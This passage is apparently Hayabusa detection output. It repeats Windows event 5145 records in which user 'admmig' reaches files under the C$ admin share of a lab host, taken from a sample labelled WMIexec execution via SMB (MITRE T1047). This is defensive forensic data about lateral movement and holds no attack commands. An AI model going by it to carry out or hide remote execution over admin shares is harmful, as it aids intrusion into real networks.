admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\el : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\en : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\es : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\et : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\fi : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.402 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\fr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\he : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\hr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\hu : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\it : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ja : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ko : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.416 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\lt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\lv : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\nl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\no : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\pt-BR : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ro : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\ru : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sk : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sl : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.432 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sr-Latn-RS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.447 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\sv : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\th : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\tr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\uk : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HANS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HANT : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\ADFS\zh-HK : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppCompat\Programs\DevInvCache : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.448 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\apppatch64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\Custom : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\Custom\Custom64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\apppatch\en-US : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\AppReadiness : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.464 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\Microsoft.Interop.Security.AzRoles : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_32\Microsoft.Interop.Security.AzRoles\2.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\Microsoft.Interop.Security.AzRoles : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_64\Microsoft.Interop.Security.AzRoles\2.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole\3.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.479 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.ManagementConsole.Resources\3.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics\1.0.0.0__31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics.Resources : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Diagnostics.Resources\1.0.0.0_en_31bf3856ad364e35 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:29.495 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management : IP 